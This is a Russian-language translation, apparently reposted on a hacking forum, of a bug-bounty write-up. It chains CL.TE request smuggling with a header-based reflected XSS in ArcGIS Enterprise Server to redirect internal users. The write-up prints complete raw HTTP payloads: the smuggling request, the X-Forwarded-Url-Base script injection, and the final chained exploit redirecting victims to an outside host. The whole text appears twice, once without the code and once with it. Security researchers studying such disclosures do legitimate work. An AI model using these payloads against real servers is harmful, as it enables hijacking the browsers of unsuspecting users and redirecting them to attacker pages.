Это история о том, как я связал, казалось бы, неинтересную уязвимость перекравки запросов с еще более неинтересной XSS, основанным на заголовках, для перенаправления пользователей внутри сетевых сайтов без какого-либо взаимодействия с пользователями на произвольные страницы. В этой заметке также рассказывается об 0day в ArcGis Enterprise Server.
Однако, этот пост не о том, как работает переправка запросов. Если вы новичок в этой теме, взгляните на удивительное исследование, опубликованное Джеймсом Кеттлом (James Kettle), который подробно рассказывает о концепциях.
Переправка запросов с различной длиной ответа
Итак, что я обычно делаю, когда смотрю на одно приложение, это пытаюсь определить конечные точки, которые могут быть проксированы по всей инфраструктуре - конечные точки, которые обычно проксируются, это, например, конечные точки API, поскольку они отделены от любых внешних устройств. Во время участия в частной программе HackerOne я обнаружил актив, подвергающий конечные точки API уязвимости переправки запросов CL.TE используя такую полезную нагрузку, как:
Как вы можете видеть здесь, я переправил простой GET-запрос против корневого пути веб-сервера на том же самом хосте. Так что теоретически, если запрос будет успешно переправлен, мы увидим корневую страницу как ответ, а не изначально запрошенную конечную точку API.
Чтобы проверить это, я запустил TurboIntruder, используя конфигурацию, которая выполняет полезную нагрузку сотни раз:
Пока TuroboIntruder работал, я вручную обновил страницу пару раз, чтобы вызвать (имитировать) уязвимость. Интересно, что атака работает довольно хорошо, так как на самом деле было два разных размера ответа, из которых один возвращает оригинальный ответ API:
А другой вернул стартовую страницу:
Это подтверждает уязвимость переправки запроса против меня самого. Довольно круто пока, но самоэксплуатация - это не так уж и весело.
Отравляющие URL через заголовок X-Forwarded-Url-Base
Чтобы расширить поверхность атаки на нашу уязвимость, я заметил, что на том же сервере был запущен экземпляр ArcGis Enterprise Server в другом каталоге. Поэтому я просмотрел его исходный код на предмет уязвимостей, которые можно использовать для улучшения уязвимости переправки запросов. Я наткнулся на интересное группирование, влияющее на его общую обработку ошибок:
Обработчик ошибок ArcGIS принимает настраиваемый заголовок HTTP под названием X-Forwarded-Url-Base, который используется для основы всех ссылок на странице ошибок, но только в том случае, если он объединен с другим настраиваемым заголовком HTTP под названием X-Forwarded-Request-Context. Значение, передаваемое в X-Forwarded-Request-Context, на самом деле не имеет значения, до тех пор пока оно задано.
Поэтому уменьшенный запрос на эксплуатирование этой баги в /rest/directories выглядит следующим образом:
Это просто отравляет все ссылки на странице ошибок ссылкой на мой сервер по адресу
Хотя это уже выглядит как хороший кандидат, чтобы быть в связке с переправкой запросов, он все же требует взаимодействия с пользователем, заставляя пользователя (жертву) нажимать на любую ссылку на странице с ошибкой.
Однако на самом деле я искал что-то, что не требует никакого взаимодействия с пользователем.
Казалось бы, неэксплуатируемая XSS
Ты, наверное, уже догадался. Та же самая комбинация заголовков, что и показанная ранее, также уязвима для отраженной XSS. Использование payload, как показано ниже, для X-Forwarded-Url-Base:
приводит к появлению предупреждения на странице ошибок:
Теперь XSS, основанный на заголовке, как правило, сам по себе не может быть использован, но он становится легко используемым, когда связан с уязвимостью переправки запросов, так как злоумышленник способен полностью контролировать запрос.
В то время как появление алертов на в браузерах жертвах, посещающих уязвимый сервер, было довольно забавно, я искал способ максимизировать свое влияние, чтобы получить награду за критическую уязвимость. Решение: редирект.
Если бы ты сейчас использовал такой payload:
ты бы смог перенаправлять пользователей.
Соединяя все воедино
Полный эксплойт выглядит так:
Во время выполнения этой атаки со скоростью около 1000 запросов в секунду, я смог увидеть несколько интересных результатов на своем сервере:
После некоторых поисков я смог подтвердить, что эти результаты действительно происходят из внутренней сети программы.
Mission Completed.
Перевод специально для xss.pro
Переводил WDBlue
Однако, этот пост не о том, как работает переправка запросов. Если вы новичок в этой теме, взгляните на удивительное исследование, опубликованное Джеймсом Кеттлом (James Kettle), который подробно рассказывает о концепциях.
Переправка запросов с различной длиной ответа
Итак, что я обычно делаю, когда смотрю на одно приложение, это пытаюсь определить конечные точки, которые могут быть проксированы по всей инфраструктуре - конечные точки, которые обычно проксируются, это, например, конечные точки API, поскольку они отделены от любых внешних устройств. Во время участия в частной программе HackerOne я обнаружил актив, подвергающий конечные точки API уязвимости переправки запросов CL.TE используя такую полезную нагрузку, как:
Код:
POST /redacted HTTP/1.1
Content-Type: application/json
Content-Length: 132
Host: redacted.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Foo: bar
Transfer-Encoding: chunked
4d
{"GeraetInfoId":"61e358b9-a2e8-4662-ab5f-56234a19a1b8","AppVersion":"2.2.40"}
0
GET / HTTP/1.1
Host: redacted.com
X: XКак вы можете видеть здесь, я переправил простой GET-запрос против корневого пути веб-сервера на том же самом хосте. Так что теоретически, если запрос будет успешно переправлен, мы увидим корневую страницу как ответ, а не изначально запрошенную конечную точку API.
Чтобы проверить это, я запустил TurboIntruder, используя конфигурацию, которая выполняет полезную нагрузку сотни раз:
Пока TuroboIntruder работал, я вручную обновил страницу пару раз, чтобы вызвать (имитировать) уязвимость. Интересно, что атака работает довольно хорошо, так как на самом деле было два разных размера ответа, из которых один возвращает оригинальный ответ API:
А другой вернул стартовую страницу:
Это подтверждает уязвимость переправки запроса против меня самого. Довольно круто пока, но самоэксплуатация - это не так уж и весело.
Отравляющие URL через заголовок X-Forwarded-Url-Base
Чтобы расширить поверхность атаки на нашу уязвимость, я заметил, что на том же сервере был запущен экземпляр ArcGis Enterprise Server в другом каталоге. Поэтому я просмотрел его исходный код на предмет уязвимостей, которые можно использовать для улучшения уязвимости переправки запросов. Я наткнулся на интересное группирование, влияющее на его общую обработку ошибок:
Обработчик ошибок ArcGIS принимает настраиваемый заголовок HTTP под названием X-Forwarded-Url-Base, который используется для основы всех ссылок на странице ошибок, но только в том случае, если он объединен с другим настраиваемым заголовком HTTP под названием X-Forwarded-Request-Context. Значение, передаваемое в X-Forwarded-Request-Context, на самом деле не имеет значения, до тех пор пока оно задано.
Поэтому уменьшенный запрос на эксплуатирование этой баги в /rest/directories выглядит следующим образом:
Код:
GET /rest/directories HTTP/1.1
Host: redacted.com
X-Forwarded-Url-Base: https://www.rce.wf/cat.html?
X-Forwarded-Request-Context: HackerOneЭто просто отравляет все ссылки на странице ошибок ссылкой на мой сервер по адресу
Хотя это уже выглядит как хороший кандидат, чтобы быть в связке с переправкой запросов, он все же требует взаимодействия с пользователем, заставляя пользователя (жертву) нажимать на любую ссылку на странице с ошибкой.
Однако на самом деле я искал что-то, что не требует никакого взаимодействия с пользователем.
Казалось бы, неэксплуатируемая XSS
Ты, наверное, уже догадался. Та же самая комбинация заголовков, что и показанная ранее, также уязвима для отраженной XSS. Использование payload, как показано ниже, для X-Forwarded-Url-Base:
Код:
X-Forwarded-Url-Base: https://www.rce.wf/cat.html?"><script>alert(1)</script>
X-Forwarded-Request-Context: HackerOneприводит к появлению предупреждения на странице ошибок:
Теперь XSS, основанный на заголовке, как правило, сам по себе не может быть использован, но он становится легко используемым, когда связан с уязвимостью переправки запросов, так как злоумышленник способен полностью контролировать запрос.
В то время как появление алертов на в браузерах жертвах, посещающих уязвимый сервер, было довольно забавно, я искал способ максимизировать свое влияние, чтобы получить награду за критическую уязвимость. Решение: редирект.
Если бы ты сейчас использовал такой payload:
Код:
X-Forwarded-Url-Base: https://www.rce.wf/cat.html?"><script>document.location='https://www.rce.wf/cat.html';</script>
X-Forwarded-Request-Context: HackerOneты бы смог перенаправлять пользователей.
Соединяя все воедино
Полный эксплойт выглядит так:
Код:
POST /redacted HTTP/1.1
Content-Type: application/json
Content-Length: 278
Host: redacted.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Foo: bar
Transfer-Encoding: chunked
4d
{"GeraetInfoId":"61e358b9-a2e8-4662-ab5f-56234a19a1b8","AppVersion":"2.2.40"}
0
GET /redacted/rest/directories HTTP/1.1
Host: redacted.com
X-Forwarded-Url-Base: https://www.rce.wf/cat.html?"><script>document.location='https://www.rce.wf/cat.html';</script>
X-Forwarded-Request-Context: HackerOne
X: XВо время выполнения этой атаки со скоростью около 1000 запросов в секунду, я смог увидеть несколько интересных результатов на своем сервере:
После некоторых поисков я смог подтвердить, что эти результаты действительно происходят из внутренней сети программы.
Mission Completed.
Перевод специально для xss.pro
Переводил WDBlue